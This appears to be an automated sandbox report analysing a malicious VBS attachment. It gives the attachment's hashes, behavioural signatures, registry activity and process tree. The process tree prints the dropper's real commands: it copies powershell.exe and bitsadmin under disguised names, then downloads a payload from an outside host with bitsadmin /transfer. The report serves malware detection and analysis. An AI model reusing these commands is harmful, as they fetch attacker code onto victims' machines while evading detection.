Analysis
- max time kernel
150s - max time network
162s - platform
windows10-2004_x64 - resource
win10v2004-en-20220112 - submitted
21/02/2022, 22:48
Static task
static1
Behavioral task
behavioral1
Sample
Allegato_doc_JNKMTJ64B29L424O.vbs
Resource
win7-en-20211208
windows7_x64
0 signatures
0 seconds
General
- Target Allegato_doc_JNKMTJ64B29L424O.vbs
- Size 8KB
- Sample220221-2rbm8abch3
- SHA256 d3d75e2f255c63ccc14496877d562f04641da53ce9bf064b1b8e4969034cce9a
- MD5 5d2f707cea7e80c85d83f14213e1d7e0
- SHA1 6a7e4e3a532ef4cbbf77508931324a20fe79d7e2
- SHA512 beb572b51df993ed0a7464789a211d79b906387fdcceff2bcb517c98f83c933fc3513c6e707ae3b7209b1f6d618ccbd7284b17704083b8023e1c61ccf6868090
- MD5 SHA1 SHA512
Malware Config
Signatures
- Executes dropped EXE 1 IoCs
pid Process 3616 wjOytesin.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation WScript.exe - Drops file in Windows directory 3 IoCs
description ioc Process File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\DeliveryOptimization\State\keyValueLKG.dat svchost.exe File opened for modification C:\Windows\Logs\CBS\CBS.log TiWorker.exe File opened for modification C:\Windows\WinSxS\pending.xml TiWorker.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 MusNotifyIcon.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz MusNotifyIcon.exe - Modifies data under HKEY_USERS 51 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyGroupBytes = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateBkCnt = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\PeerInfoCount = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CDNConnectionCount = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\GroupConnectionCount = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\FrDownloadRatePct = "90" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadRatePct = "100" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadMonthlyInternetBytes = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MemoryUsageKB = "4348" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MemoryUsageKB = "4124" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateFrBps = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UplinkUsageBps = "0" svchost.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CPUpct = "0.009703" svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Settings svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MonthlyUploadRestriction = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadCount = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\NormalDownloadCount = "0" svchost.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CPUpct = "0.081500" svchost.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CPUpct = "8.330232" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyLinkLocalBytes = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyLanBytes = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\BkDownloadRatePct = "45" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\PriorityDownloadPendingCount = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MemoryUsageKB = "4148" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyInternetBytes = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyCdnBytes = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\LANConnectionCount = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\InternetConnectionCount = "0" svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\DODownloadMode = "1" svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MonthID = "2" svchost.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\Geo_EndpointFullUri = "https://geo.prod.do.dsp.mp.microsoft.com/geo" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\LinkLocalConnectionCount = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\PriorityDownloadCount = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\SwarmCount = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\DownloadMode_BackCompat = "1" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\KVFileExpirationTime = "132901337433154351" svchost.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\GeoVersion_EndpointFullUri = "https://geover.prod.do.dsp.mp.microsoft.com/geoversion" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UplinkBps = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\NormalDownloadPendingCount = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyCacheHostBytes = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadMonthlyLanBytes = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateBkBps = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateFrCnt = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\SwarmCount = "1" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CacheSizeBytes = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownlinkBps = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownlinkUsageBps = "0" svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config svchost.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CPUpct = "5.633851" svchost.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeSecurityPrivilege 1180 TiWorker.exe Token: SeRestorePrivilege 1180 TiWorker.exe Token: SeBackupPrivilege 1180 TiWorker.exe Token: SeBackupPrivilege 1180 TiWorker.exe Token: SeRestorePrivilege 1180 TiWorker.exe Token: SeSecurityPrivilege 1180 TiWorker.exe Token: SeBackupPrivilege 1180 TiWorker.exe Token: SeRestorePrivilege 1180 TiWorker.exe Token: SeSecurityPrivilege 1180 TiWorker.exe Token: SeBackupPrivilege 1180 TiWorker.exe Token: SeRestorePrivilege 1180 TiWorker.exe Token: SeSecurityPrivilege 1180 TiWorker.exe Token: SeBackupPrivilege 1180 TiWorker.exe Token: SeRestorePrivilege 1180 TiWorker.exe Token: SeSecurityPrivilege 1180 TiWorker.exe Token: SeBackupPrivilege 1180 TiWorker.exe Token: SeRestorePrivilege 1180 TiWorker.exe Token: SeSecurityPrivilege 1180 TiWorker.exe Token: SeBackupPrivilege 1180 TiWorker.exe Token: SeRestorePrivilege 1180 TiWorker.exe Token: SeSecurityPrivilege 1180 TiWorker.exe Token: SeBackupPrivilege 1180 TiWorker.exe Token: SeRestorePrivilege 1180 TiWorker.exe Token: SeSecurityPrivilege 1180 TiWorker.exe Token: SeBackupPrivilege 1180 TiWorker.exe Token: SeRestorePrivilege 1180 TiWorker.exe Token: SeSecurityPrivilege 1180 TiWorker.exe Token: SeBackupPrivilege 1180 TiWorker.exe Token: SeRestorePrivilege 1180 TiWorker.exe Token: SeSecurityPrivilege 1180 TiWorker.exe Token: SeBackupPrivilege 1180 TiWorker.exe Token: SeRestorePrivilege 1180 TiWorker.exe Token: SeSecurityPrivilege 1180 TiWorker.exe Token: SeBackupPrivilege 1180 TiWorker.exe Token: SeRestorePrivilege 1180 TiWorker.exe Token: SeSecurityPrivilege 1180 TiWorker.exe Token: SeBackupPrivilege 1180 TiWorker.exe Token: SeRestorePrivilege 1180 TiWorker.exe Token: SeSecurityPrivilege 1180 TiWorker.exe Token: SeBackupPrivilege 1180 TiWorker.exe Token: SeRestorePrivilege 1180 TiWorker.exe Token: SeSecurityPrivilege 1180 TiWorker.exe Token: SeBackupPrivilege 1180 TiWorker.exe Token: SeRestorePrivilege 1180 TiWorker.exe Token: SeSecurityPrivilege 1180 TiWorker.exe Token: SeBackupPrivilege 1180 TiWorker.exe Token: SeRestorePrivilege 1180 TiWorker.exe Token: SeSecurityPrivilege 1180 TiWorker.exe Token: SeBackupPrivilege 1180 TiWorker.exe Token: SeRestorePrivilege 1180 TiWorker.exe Token: SeSecurityPrivilege 1180 TiWorker.exe Token: SeBackupPrivilege 1180 TiWorker.exe Token: SeRestorePrivilege 1180 TiWorker.exe Token: SeSecurityPrivilege 1180 TiWorker.exe Token: SeBackupPrivilege 1180 TiWorker.exe Token: SeRestorePrivilege 1180 TiWorker.exe Token: SeSecurityPrivilege 1180 TiWorker.exe Token: SeBackupPrivilege 1180 TiWorker.exe Token: SeRestorePrivilege 1180 TiWorker.exe Token: SeSecurityPrivilege 1180 TiWorker.exe Token: SeBackupPrivilege 1180 TiWorker.exe Token: SeRestorePrivilege 1180 TiWorker.exe Token: SeSecurityPrivilege 1180 TiWorker.exe Token: SeBackupPrivilege 1180 TiWorker.exe - Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 3272 wrote to memory of 2572 3272 WScript.exe 59 PID 3272 wrote to memory of 2572 3272 WScript.exe 59 PID 2572 wrote to memory of 3996 2572 cmd.exe 61 PID 2572 wrote to memory of 3996 2572 cmd.exe 61 PID 2572 wrote to memory of 1428 2572 cmd.exe 62 PID 2572 wrote to memory of 1428 2572 cmd.exe 62 PID 3272 wrote to memory of 3616 3272 WScript.exe 63 PID 3272 wrote to memory of 3616 3272 WScript.exe 63 PID 3272 wrote to memory of 3616 3272 WScript.exe 63
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Allegato_doc_JNKMTJ64B29L424O.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3272 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\fnpWSeyED.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\wjOytes*.exe2⤵
- Suspicious use of WriteProcessMemory
PID:2572 -
C:\Windows\system32\cmd.execmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\fnpWSeyED.exe3⤵PID:3996
-
-
C:\Windows\system32\cmd.execmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\wjOytes*.exe3⤵PID:1428
-
-
-
C:\ProgramData\wjOytesin.exe"C:\ProgramData\wjOytesin.exe" /transfer szPZvX /download https://cxminute.com/minu/JNKMTJ64B29L424O/uk.css C:\Users\Admin\AppData\Roaming\uk.css2⤵
- Executes dropped EXE
PID:3616
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
PID:3564
-
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:1180
-
C:\Windows\system32\MusNotifyIcon.exe%systemroot%\system32\MusNotifyIcon.exe NotifyTrayIcon 131⤵
- Checks processor information in registry
PID:2364